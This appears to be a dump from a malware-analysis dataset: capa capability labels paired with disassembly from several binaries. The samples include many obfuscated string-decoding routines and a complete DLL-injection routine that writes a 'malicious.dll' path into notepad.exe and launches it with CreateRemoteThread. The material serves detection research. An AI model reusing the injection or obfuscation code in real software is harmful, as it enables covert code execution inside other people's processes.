joyce8/EMBER2024-capa huggingface dataset:
Function at 0x49b200
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49b30c
push rbp
mov rbp, rsp
sub rsp, 0x58
movabs rdx, 0x69696584688f4b49
mov qword [rsp + 0x1f], rdx
movabs rdx, 0x7476966a77717c69
mov qword [rsp + 0x26], rdx
movabs rdx, 0x5772726f7c6c9153
mov qword [rsp + 0x2e], rdx
movabs rdx, 0xb14130d0a150402
mov qword [rsp + 0x36], rdx
movabs rdx, 0x10130b14130d0a15
mov qword [rsp + 0x38], rdx
movabs rdx, 0x15051100010d0c08
mov qword [rsp + 0x40], rdx
movabs rdx, 0x1401121309080411
mov qword [rsp + 0x48], rdx
movabs rdx, 0xd0003100b060815
mov qword [rsp + 0x50], rdx
xor eax, eax
jmp 0x49b2a8
movzx r9d, byte [rsp + rsi + 0x1f]
lea edx, [r9 + rdx]
lea edx, [rdx - 0x25]
mov byte [rsp + rdi + 0x1f], dl
mov byte [rsp + rsi + 0x1f], r8b
add rax, 2
cmp rax, 0x22
jge 0x49b2dc
movzx edx, byte [rsp + rax + 0x36]
movzx esi, byte [rsp + rax + 0x37]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0x17
jae 0x49b2ff
movzx r8d, byte [rsp + rdi + 0x1f]
lea r8d, [r8 + rdx]
lea r8d, [r8 - 0x25]
cmp rsi, 0x17
jb 0x49b28e
jmp 0x49b2f3
xor eax, eax
lea rbx, [rsp + 0x1f]
mov ecx, 0x17
call fcn.004454c0
add rsp, 0x58
pop rbp
ret
mov eax, esi
mov ecx, 0x17
call fcn.004579c0
mov eax, edi
mov ecx, 0x17
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049b200

Function at 0x49b820
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49b906
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rdx, 0x927020119d67e907
mov qword [rsp + 0x1e], rdx
movabs rdx, 0x124f13611172de74
mov qword [rsp + 0x26], rdx
movabs rdx, 0xd04050f0e0b0205
mov qword [rsp + 0x2e], rdx
movabs rdx, 0xb030d04050f0e0b
mov qword [rsp + 0x30], rdx
movabs rdx, 0x109030f0b0f07
mov qword [rsp + 0x38], rdx
xor eax, eax
nop
jmp 0x49b8a0
movzx r9d, byte [rsp + rsi + 0x1e]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x4d]
mov byte [rsp + rdi + 0x1e], dl
mov byte [rsp + rsi + 0x1e], r8b
add rax, 2
nop dword [rax]
cmp rax, 0x12
jge 0x49b8d2
movzx edx, byte [rsp + rax + 0x2e]
movzx esi, byte [rsp + rax + 0x2f]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x10
jae 0x49b8f7
movzx r8d, byte [rsp + rdi + 0x1e]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x4d]
cmp rsi, 0x10
jb 0x49b882
jmp 0x49b8eb
xor eax, eax
lea rbx, [rsp + 0x1e]
mov ecx, 0x10
nop
call fcn.004454c0
add rsp, 0x40
pop rbp
ret
mov eax, esi
mov ecx, 0x10
call fcn.004579c0
mov eax, edi
mov ecx, 0x10
nop
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049b820
Function at 0x49bba0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49bc8a
push rbp
mov rbp, rsp
sub rsp, 0x48
movabs rdx, 0xd9b5791099746562
mov qword [rsp + 0x1e], rdx
movabs rdx, 0x90eb746ed9b57910
mov qword [rsp + 0x22], rdx
movabs rdx, 0x57a8138e7463d626
mov qword [rsp + 0x2a], rdx
movabs rdx, 0x3100b0a030c0005
mov qword [rsp + 0x32], rdx
movabs rdx, 0x11041210030d0310
mov qword [rsp + 0x38], rdx
movabs rdx, 0x100c060c0a050700
mov qword [rsp + 0x40], rdx
xor eax, eax
jmp 0x49bc2d
movzx r9d, byte [rsp + rsi + 0x1e]
sub r9d, edx
lea edx, [r9 - 0x7d]
mov byte [rsp + rdi + 0x1e], dl
lea edx, [r8 - 0x7d]
mov byte [rsp + rsi + 0x1e], dl
add rax, 2
cmp rax, 0x16
jge 0x49bc5a
movzx edx, byte [rsp + rax + 0x32]
movzx esi, byte [rsp + rax + 0x33]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x14
jae 0x49bc7d
movzx r8d, byte [rsp + rdi + 0x1e]
sub r8d, edx
cmp rsi, 0x14
jb 0x49bc10
jmp 0x49bc71
xor eax, eax
lea rbx, [rsp + 0x1e]
mov ecx, 0x14
call fcn.004454c0
add rsp, 0x48
pop rbp
ret
mov eax, esi
mov ecx, 0x14
call fcn.004579c0
mov eax, edi
mov ecx, 0x14
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049bba0

Function at 0x49d720
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49d80a
push rbp
mov rbp, rsp
sub rsp, 0x40
movabs rdx, 0xfdb2e7a5a47479b3
mov qword [rsp + 0x19], rdx
movabs rdx, 0xc8fdb2e7a5a47479
mov qword [rsp + 0x1a], rdx
movabs rdx, 0x57f1f6611a6874d2
mov qword [rsp + 0x22], rdx
movabs rdx, 0x7040e0604010909
mov qword [rsp + 0x2a], rdx
movabs rdx, 0x8070f0605070704
mov qword [rsp + 0x30], rdx
movabs rdx, 0x603050409000c03
mov qword [rsp + 0x38], rdx
xor eax, eax
jmp 0x49d7ad
movzx r9d, byte [rsp + rsi + 0x19]
sub r9d, edx
lea edx, [r9 - 0x39]
mov byte [rsp + rdi + 0x19], dl
lea edx, [r8 - 0x39]
mov byte [rsp + rsi + 0x19], dl
add rax, 2
cmp rax, 0x16
jge 0x49d7da
movzx edx, byte [rsp + rax + 0x2a]
movzx esi, byte [rsp + rax + 0x2b]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x11
jae 0x49d7fd
movzx r8d, byte [rsp + rdi + 0x19]
sub r8d, edx
cmp rsi, 0x11
jb 0x49d790
jmp 0x49d7f1
xor eax, eax
lea rbx, [rsp + 0x19]
mov ecx, 0x11
call fcn.004454c0
add rsp, 0x40
pop rbp
ret
mov eax, esi
mov ecx, 0x11
call fcn.004579c0
mov eax, edi
mov ecx, 0x11
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049d720
Function at 0x49dd80
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49de47
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x50b46d023b8ff1a0
mov qword [rsp + 0x1e], rdx
mov dword [rsp + 0x26], 0x90ab749d
movabs rdx, 0xb0008080302040a
mov qword [rsp + 0x2a], rdx
movabs rdx, 0x10202010a060b00
mov qword [rsp + 0x30], rdx
xor eax, eax
jmp 0x49dde8
movzx r9d, byte [rsp + rsi + 0x1e]
sub r9d, edx
lea edx, [r9 - 0x38]
mov byte [rsp + rdi + 0x1e], dl
lea edx, [r8 - 0x38]
mov byte [rsp + rsi + 0x1e], dl
add rax, 2
cmp rax, 0xe
jge 0x49de17
movzx edx, byte [rsp + rax + 0x2a]
movzx esi, byte [rsp + rax + 0x2b]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0xc
jae 0x49de3a
movzx r8d, byte [rsp + rdi + 0x1e]
sub r8d, edx
cmp rsi, 0xc
jb 0x49ddcb
jmp 0x49de2e
xor eax, eax
lea rbx, [rsp + 0x1e]
mov ecx, 0xc
call fcn.004454c0
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xc
call fcn.004579c0
mov eax, edi
mov ecx, 0xc
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049dd80

Function at 0x49e5c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49e6a6
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x1877cd3acccfde49
mov qword [rsp + 0x19], rdx
movabs rdx, 0xa6d569df661877cd
mov qword [rsp + 0x1e], rdx
movabs rdx, 0xb0405030c090307
mov qword [rsp + 0x26], rdx
movabs rdx, 0x5000b0405030c09
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20100090909050b
mov qword [rsp + 0x30], rdx
xor eax, eax
nop
jmp 0x49e640
movzx r9d, byte [rsp + rsi + 0x19]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x7f]
mov byte [rsp + rdi + 0x19], dl
mov byte [rsp + rsi + 0x19], r8b
add rax, 2
nop dword [rax]
cmp rax, 0x12
jge 0x49e672
movzx edx, byte [rsp + rax + 0x26]
movzx esi, byte [rsp + rax + 0x27]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xd
jae 0x49e697
movzx r8d, byte [rsp + rdi + 0x19]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x7f]
cmp rsi, 0xd
jb 0x49e622
jmp 0x49e68b
xor eax, eax
lea rbx, [rsp + 0x19]
mov ecx, 0xd
nop
call fcn.004454c0
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xd
call fcn.004579c0
mov eax, edi
mov ecx, 0xd
nop
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049e5c0
Function at 0x49e9a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49ea7d
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x33d1c4f8e16fdd5f
mov qword [rsp + 0x18], rdx
movabs rdx, 0x5774e46d4ed233d1
mov qword [rsp + 0x1e], rdx
movabs rdx, 0x808080a03060a04
mov qword [rsp + 0x26], rdx
movabs rdx, 0x5000808080a0306
mov qword [rsp + 0x28], rdx
movabs rdx, 0x80805010104040b
mov qword [rsp + 0x30], rdx
xor eax, eax
nop
jmp 0x49ea20
movzx r9d, byte [rsp + rsi + 0x18]
sub r9d, edx
lea edx, [r9 - 0x67]
mov byte [rsp + rdi + 0x18], dl
lea edx, [r8 - 0x67]
mov byte [rsp + rsi + 0x18], dl
add rax, 2
nop
cmp rax, 0x12
jge 0x49ea4d
movzx edx, byte [rsp + rax + 0x26]
movzx esi, byte [rsp + rax + 0x27]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xe
jae 0x49ea70
movzx r8d, byte [rsp + rdi + 0x18]
sub r8d, edx
cmp rsi, 0xe
jb 0x49ea02
jmp 0x49ea64
xor eax, eax
lea rbx, [rsp + 0x18]
mov ecx, 0xe
call fcn.004454c0
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xe
call fcn.004579c0
mov eax, edi
mov ecx, 0xe
call fcn.004579c0
nop
nop dword [rax]
call fcn.00455760
jmp fcn.0049e9a0

Function at 0x49f020
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49f10a
push rbp
mov rbp, rsp
sub rsp, 0x48
movabs rdx, 0x65866f7543b3ac71
mov qword [rsp + 0x1c], rdx
movabs rdx, 0x698c746e65866f75
mov qword [rsp + 0x20], rdx
movabs rdx, 0x578d9ab6c8a3a572
mov qword [rsp + 0x28], rdx
movabs rdx, 0xf11010f0f020f0a
mov qword [rsp + 0x30], rdx
movabs rdx, 0xa0e1205000100
mov qword [rsp + 0x38], rdx
movabs rdx, 0x6010d0601100100
mov qword [rsp + 0x40], rdx
xor eax, eax
jmp 0x49f0ad
movzx r9d, byte [rsp + rsi + 0x1c]
sub r9d, edx
lea edx, [r9 - 2]
mov byte [rsp + rdi + 0x1c], dl
lea edx, [r8 - 2]
mov byte [rsp + rsi + 0x1c], dl
add rax, 2
cmp rax, 0x18
jge 0x49f0da
movzx edx, byte [rsp + rax + 0x30]
movzx esi, byte [rsp + rax + 0x31]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x14
jae 0x49f0fd
movzx r8d, byte [rsp + rdi + 0x1c]
sub r8d, edx
cmp rsi, 0x14
jb 0x49f090
jmp 0x49f0f1
xor eax, eax
lea rbx, [rsp + 0x1c]
mov ecx, 0x14
call fcn.004454c0
add rsp, 0x48
pop rbp
ret
mov eax, esi
mov ecx, 0x14
call fcn.004579c0
mov eax, edi
mov ecx, 0x14
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049f020
Function at 0x49f380
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49f47b
push rbp
mov rbp, rsp
sub rsp, 0x48
movabs rdx, 0x41f4f0a44ef0653e
mov qword [rsp + 0x1c], rdx
movabs rdx, 0x212741f4f0a44ef0
mov qword [rsp + 0x1e], rdx
movabs rdx, 0xf2734074018969ac
mov qword [rsp + 0x26], rdx
movabs rdx, 0x40002030405050c
mov qword [rsp + 0x2e], rdx
movabs rdx, 0x311000c0a060511
mov qword [rsp + 0x36], rdx
movabs rdx, 0xa0c0311000c0a06
mov qword [rsp + 0x38], rdx
movabs rdx, 0x509080f09060d0f
mov qword [rsp + 0x40], rdx
xor eax, eax
jmp 0x49f419
movzx r9d, byte [rsp + rsi + 0x1c]
lea edx, [r9 + rdx]
lea edx, [rdx + 0x21]
mov byte [rsp + rdi + 0x1c], dl
mov byte [rsp + rsi + 0x1c], r8b
add rax, 2
cmp rax, 0x1a
jge 0x49f44b
movzx edx, byte [rsp + rax + 0x2e]
movzx esi, byte [rsp + rax + 0x2f]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0x12
jae 0x49f46e
movzx r8d, byte [rsp + rdi + 0x1c]
lea r8d, [r8 + rdx]
lea r8d, [r8 + 0x21]
cmp rsi, 0x12
jb 0x49f3ff
jmp 0x49f462
xor eax, eax
lea rbx, [rsp + 0x1c]
mov ecx, 0x12
call fcn.004454c0
add rsp, 0x48
pop rbp
ret
mov eax, esi
mov ecx, 0x12
call fcn.004579c0
mov eax, edi
mov ecx, 0x12
call fcn.004579c0
nop
nop dword [rax + rax]
call fcn.00455760
jmp fcn.0049f380

Function at 0x49f4a0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x49f5c7
push rbp
mov rbp, rsp
sub rsp, 0x60
movabs rdx, 0xb6652d69f07465e5
mov qword [rsp + 0x18], rdx
movabs rdx, 0x6d29b6652d69f074
mov qword [rsp + 0x1a], rdx
movabs rdx, 0x4ecc3e44102f4237
mov qword [rsp + 0x22], rdx
movabs rdx, 0xf41b63376645744b
mov qword [rsp + 0x2a], rdx
movabs rdx, 0x3d7d20125b6e6f37
mov qword [rsp + 0x32], rdx
movabs rdx, 0x3211d10050007
mov qword [rsp + 0x3a], rdx
movabs rdx, 0xd0a1e0b1f0c0003
mov qword [rsp + 0x40], rdx
movabs rdx, 0x1419161a07051800
mov qword [rsp + 0x48], rdx
movabs rdx, 0x10212110120c140a
mov qword [rsp + 0x50], rdx
movabs rdx, 0xf0e0b0a1e200008
mov qword [rsp + 0x58], rdx
xor eax, eax
jmp 0x49f569
movzx r9d, byte [rsp + rsi + 0x18]
sub r9d, edx
lea edx, [r9 + 0x50]
mov byte [rsp + rdi + 0x18], dl
lea edx, [r8 + 0x50]
mov byte [rsp + rsi + 0x18], dl
add rax, 2
cmp rax, 0x26
jge 0x49f597
movzx edx, byte [rsp + rax + 0x3a]
movzx esi, byte [rsp + rax + 0x3b]
mov edi, edx
xor edx, esi
add edx, eax
nop
cmp rdi, 0x22
jae 0x49f5ba
movzx r8d, byte [rsp + rdi + 0x18]
sub r8d, edx
cmp rsi, 0x22
jb 0x49f54c
jmp 0x49f5ae
xor eax, eax
lea rbx, [rsp + 0x18]
mov ecx, 0x22
call fcn.004454c0
add rsp, 0x60
pop rbp
ret
mov eax, esi
mov ecx, 0x22
call fcn.004579c0
mov eax, edi
mov ecx, 0x22
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.0049f4a0
Function at 0x4a1600
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4a16cc
push rbp
mov rbp, rsp
sub rsp, 0x38
movabs rdx, 0x997565b6558d9c90
mov qword [rsp + 0x1a], rdx
movabs rdx, 0xdf83a272c7a69975
mov qword [rsp + 0x20], rdx
movabs rdx, 0x60b0a00090d040d
mov qword [rsp + 0x28], rdx
movabs rdx, 0xd0c080708040201
mov qword [rsp + 0x30], rdx
xor eax, eax
jmp 0x4a166f
movzx r9d, byte [rsp + rsi + 0x1a]
sub r9d, edx
lea edx, [r9 - 0x1d]
mov byte [rsp + rdi + 0x1a], dl
lea edx, [r8 - 0x1d]
mov byte [rsp + rsi + 0x1a], dl
add rax, 2
cmp rax, 0x10
jge 0x4a169c
movzx edx, byte [rsp + rax + 0x28]
movzx esi, byte [rsp + rax + 0x29]
mov edi, edx
xor edx, esi
add edx, eax
cmp rdi, 0xe
jae 0x4a16bf
movzx r8d, byte [rsp + rdi + 0x1a]
sub r8d, edx
cmp rsi, 0xe
jb 0x4a1652
jmp 0x4a16b3
xor eax, eax
lea rbx, [rsp + 0x1a]
mov ecx, 0xe
call fcn.004454c0
add rsp, 0x38
pop rbp
ret
mov eax, esi
mov ecx, 0xe
call fcn.004579c0
mov eax, edi
mov ecx, 0xe
call fcn.004579c0
nop
call fcn.00455760
jmp fcn.004a1600
Function at 0x140001000
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov r8d, ecx
xor edx, edx
mov ecx, 0x1fffff
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001116
lea rsi, str.C:UsersPublicDocumentsmalicious.dll
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov rcx, rdi
lea r8, [rax*2 + 2]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbp, rax
test rax, rax
je 0x14000110d
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
mov r8, rsi
mov qword [rsp + 0x20], rbx
mov rdx, rbp
mov rcx, rdi
lea r9, [rax*2 + 2]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400010f8
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.LoadLibraryW
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1400010f8
mov qword [rsp + 0x30], rbx
mov r9, rax
mov dword [rsp + 0x28], ebx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rsi, rax
test rax, rax
je 0x1400010f8
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov bl, 1
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbp, qword [rsp + 0x58]
mov al, bl
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140001130
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x270
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14000120f
lea rdx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400011ad
lea rdx, str.notepad.exe
lea rcx, [rsp + 0x4c]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscmp]
test eax, eax
je 0x1400011a9
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
jmp 0x14000117f
mov edi, dword [rsp + 0x28]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x14000120f
mov ecx, edi
call fcn.140001000
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
test al, al
je 0x1400011ec
lea rdx, str.The_DLL_was_injected_successfully.
call fcn.140001258
mov rcx, rax
lea rdx, [0x1400013cc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
xor eax, eax
jmp 0x140001237
lea rdx, str.The_DLL_injection_failed.
call fcn.140001258
mov rcx, rax
lea rdx, [0x1400013cc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 2
jmp 0x140001237
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.The_target_program_is_not_running.
call fcn.140001258
mov rcx, rax
lea rdx, [0x1400013cc]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov eax, 1
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140001520
mov rbx, qword [rsp + 0x280]
add rsp, 0x270
pop rdi
ret
Function at 0x140001dfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001e46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001e46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001e46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001e46
cmp dword [rcx + 0x84], 0xe
jbe 0x140001e46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001e48
xor al, al
add rsp, 0x28
ret
Function at 0x14000f750
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
sub rsp, 8
mov r10, rcx
mov r9d, 0x138
mov ecx, dword [rcx]
cmp ecx, r9d
jne 0x14000f7b7
lea r8, [r10 + 0x10]
movabs r11, 0xb5026f5aa96619e9
mov rdx, qword [r8]
xor rdx, qword [r8 - 8]
lea r8, [r8 + 8]
and rdx, 0xffffffff80000000
xor rdx, qword [r8 - 8]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r8 + 0x4d0]
xor rcx, rdx
mov qword [r8 + 0x9b0], rcx
sub r9, 1
jne 0x14000f772
mov ecx, dword [r10]
jmp 0x14000f8c6
cmp ecx, 0x270
jb 0x14000f8c6
mov qword [rsp + 0x10], rbx
movabs r11, 0xb5026f5aa96619e9
lea rbx, [r10 + 0x9c8]
mov qword [rsp], rdi
mov rax, qword [rbx]
mov edi, 0x9c
nop word [rax + rax]
mov r9, qword [rbx + 8]
lea rbx, [rbx + 8]
mov rdx, r9
xor rdx, rax
and rdx, 0xffffffff80000000
xor rdx, r9
movzx eax, dl
and al, 1
neg al
mov rax, r9
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [rbx + 0x4d8]
xor rcx, rdx
mov qword [rbx - 0x9c8], rcx
sub rdi, 1
jne 0x14000f7f0
lea rbx, [r10 + 0xea8]
mov edi, 0x9b
mov r9, qword [rbx]
mov r8, qword [rbx + 8]
lea rbx, [rbx + 8]
xor r9, r8
and r9, 0xffffffff80000000
xor r9, r8
movzx eax, r9b
and al, 1
neg al
sbb rcx, rcx
shr r9, 1
and rcx, r11
xor rcx, qword [rbx - 0xea8]
xor rcx, r9
mov r9, r8
mov qword [rbx - 0x9c8], rcx
sub rdi, 1
jne 0x14000f841
mov rdx, qword [r10 + 8]
xor rdx, qword [r10 + 0x1380]
mov rdi, qword [rsp]
and rdx, 0xffffffff80000000
xor rdx, qword [r10 + 8]
mov rbx, qword [rsp + 0x10]
movzx eax, dl
and al, 1
neg al
sbb rcx, rcx
shr rdx, 1
and rcx, r11
xor rcx, qword [r10 + 0x4e0]
xor rcx, rdx
mov qword [r10 + 0x9c0], rcx
xor ecx, ecx
mov dword [r10], ecx
mov eax, ecx
mov rdx, qword [r10 + rax*8 + 8]
lea eax, [rcx + 1]
mov dword [r10], eax
mov rcx, rdx
mov rax, qword [r10 + 0x1388]
shr rcx, 0x1d
and rax, rcx
movabs rcx, 0x38eb3ffff6d3
xor rdx, rax
mov rax, rdx
and rax, rcx
shl rax, 0x11
xor rdx, rax
mov rax, rdx
and rax, 0xffffffffffffbf77
shl rax, 0x25
xor rdx, rax
mov rax, rdx
shr rax, 0x2b
xor rax, rdx
add rsp, 8
ret
Function at 0x14000fd50
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x140138010]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, qword [0x1401ead18]
mov rbx, r8
lea rsi, [rdi + 0x164]
lea rcx, [rdi + 0x16c]
mov dword [rsi], 1
call sub.VCRUNTIME140.dll_memcpy
mov dword [rdi + 0x168], ebx
add rbx, 8
je 0x14000fe27
mov rax, qword [rdi]
test rax, rax
je 0x14000fde5
mov rcx, qword [rax + 8]
cmp rcx, 0xffffffffffffffff
je 0x14000fde5
test rsi, rsi
je 0x14000fde5
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0
mov r8d, ebx
mov qword [rsp + 0x20], 0
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x14000fde5
cmp dword [rsp + 0x30], ebx
je 0x14000fe27
mov r8, qword [rdi + 0x18]
test r8, r8
je 0x14000fe04
mov eax, dword [rdi + 8]
dec eax
test eax, 0xfffffffd
jne 0x14000fe04
mov ecx, dword [rdi + 0x60]
lea rdx, [rdi + 0x64]
call r8
mov rbx, qword [rdi]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbx + 8], 0xffffffffffffffff
xor al, al
mov byte [rbx], 0
mov dword [rdi + 8], 0
jmp 0x14000fe29
mov al, 1
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14007ffe0
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140035290
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x30
mov rax, qword [0x140138010]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov r14, rcx
lea r8, [0x14012a9d0]
xor ebx, ebx
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x20], rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen_s]
mov rbp, qword [rsp + 0x20]
test rbp, rbp
jne 0x1400352d6
lea eax, [rbx - 3]
jmp 0x14003539d
xor edx, edx
mov rcx, rbp
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
je 0x1400352f3
mov ebx, 0xfffffffd
jmp 0x140035390
mov rcx, rbp
mov qword [rsp + 0x60], rsi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rsi, eax
test eax, eax
jns 0x14003530f
mov ebx, 0xfffffffd
jmp 0x14003538b
je 0x14003538b
lea eax, [rsi + 1]
mov qword [rsp + 0x68], rdi
movsxd rcx, eax
lea rdx, [0x140083ac0]
call fcn.1400806c8
mov rdi, rax
test rax, rax
jne 0x140035335
lea ebx, [rax - 2]
jmp 0x140035386
xor r8d, r8d
mov byte [rsi + rax], bl
xor edx, edx
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov r9, rbp
mov r8, rsi
mov edx, 1
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
cmp rax, rsi
je 0x14003536e
mov rcx, rdi
call fcn.140080000
mov ebx, 0xfffffffd
jmp 0x140035386
mov r8, rax
mov rdx, rdi
mov rcx, r14
call fcn.140037210
mov rcx, rdi
mov ebx, eax
call fcn.140080000
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x60]
